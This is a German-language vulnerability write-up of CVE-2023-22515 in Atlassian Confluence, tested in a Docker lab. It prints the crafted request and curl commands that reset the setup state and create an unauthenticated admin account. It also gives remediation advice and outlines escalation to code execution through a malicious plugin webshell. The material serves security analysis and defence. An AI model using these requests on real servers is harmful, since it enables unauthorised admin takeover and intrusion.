
Detaillierte Analyse und Proof-of-Concept-Exploit für CVE-2023-22515, eine kritische Schwachstelle in der Zugriffskontrolle von Atlassian Confluence Data Center und Server, die die Erstellung von Admin-Konten ohne Authentifizierung und potenzielle Remote-Code-Ausführung ermöglicht.
CVE-2023-22515 ist eine kritische (Critical) Broken Access Control-Schwachstelle, die in Atlassian Confluence Data Center und Server-Produkten entdeckt wurde. Ein Angreifer kann aus der Ferne ohne Authentifizierung den anfänglichen Einrichtungsprozess des Servers reaktivieren, dadurch ein neues Administratorkonto erstellen und das System vollständig übernehmen.
Der Kern dieser Schwachstelle liegt in der unzureichenden Validierung zwischen dem Parameter-Bindungsmechanismus des XWork2-Frameworks und der Aktionsverarbeitungslogik (Action) von Confluence.
Angreifer können den Wert von bootstrapStatusProvider.applicationConfig.setupComplete über URL-Parameter auf false setzen. Diese Eigenschaft ist ein wichtiges Flag, das bestimmt, ob Confluence installiert und konfiguriert ist.
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: <target-ip>
Wenn diese Anfrage gesendet wird, erkennt der Server im Speicher, dass die Konfiguration nicht abgeschlossen ist. Dadurch wird die Konfigurationsdatei (confluence.cfg.xml) zwar nicht dauerhaft geändert, aber der Status zur Laufzeit geändert, sodass die Zugriffskontrolle umgangen werden kann.
/server-info.action zu und übergibt den Parameter bootstrapStatusProvider.applicationConfig.setupComplete=false./setup/* aufgehoben werden./setup/setupadministrator.action zu und erstellt ein neues Systemadministratorkonto.Ein verwundbarer Confluence Server (Version 8.5.1) wurde mit Docker eingerichtet.
atlassian/confluence-server:8.5.1docker-compose.yml (Zusammenfassung):
services:
confluence:
image: atlassian/confluence-server:8.5.1
ports:
- "8090:8090"
environment:
- ATL_DB_TYPE=postgresql
# ... DB Konfiguration ...
Um Probleme mit Python-Abhängigkeiten zu vermeiden, wurde ein PoC als Bash-Skript mit curl erstellt und ausgeführt.
Exploit Flow:
Reset Setup Status:
curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
Ergebnis: Eine HTTP 302-Weiterleitungsantwort wurde zurückgegeben, und es wurde bestätigt, dass der Setup-Status intern zurückgesetzt wurde.
Administrator erstellen:
curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
-H "X-Atlassian-Token: no-check" \
--data "username=hacked_admin&password=p@ssw0rd123&..."
Ergebnis: Es wurde versucht, über diese Anfrage das Konto hacked_admin zu erstellen; später kann über die Anmeldeseite mit diesem Konto zugegriffen werden.
Es muss sofort auf die neueste von Atlassian bereitgestellte Version aktualisiert werden.
Falls ein Patch nicht möglich ist, muss der Zugriff auf den Endpunkt /setup/* auf Netzwerkebene (Load Balancer, WAF, Reverse Proxy usw.) blockiert werden.
/setup/*Ein Angreifer, der über CVE-2023-22515 Administratorrechte erlangt hat, kann zur Ausführung von Systembefehlen (RCE) übergehen.
/setup/finishsetup.action erzwungen (Lizenzumgehung erforderlich) oder es wird mit einer vorhandenen Sitzung nach zugänglichen Administratormenüs gesucht.Confluence Administration -> Manage Apps -> Upload App.jar-Datei, die schädliche Java-Klassendateien enthält/plugins/servlet/webshell?cmd=id) zur Ausführung von SystembefehlenDiese Laborumgebung (Docker) hat keine gültige Confluence-Lizenz, daher kann der anfängliche Einrichtungsschritt nicht abgeschlossen werden. Die Anfrage zur Erstellung eines Administratorkontos war zwar erfolgreich (302-Weiterleitung), aber der spätere Zugriff auf das Plugin-Menü und die eigentliche RCE-Ausführung waren eingeschränkt. In einer tatsächlichen Produktionsumgebung ist eine Lizenz registriert, sodass RCE ohne diese Einschränkungen sofort möglich ist.
CVE-2023-22515 ist eine sehr gefährliche Schwachstelle, die es ermöglicht, ohne Authentifizierung Administratorrechte zu erlangen. Der Angriff ist durch bloße Manipulation von URL-Parametern möglich, was die Angriffskomplexität sehr gering macht. Daher müssen Organisationen, die diese Versionen verwenden, sofort Patches oder Abhilfemaßnahmen anwenden.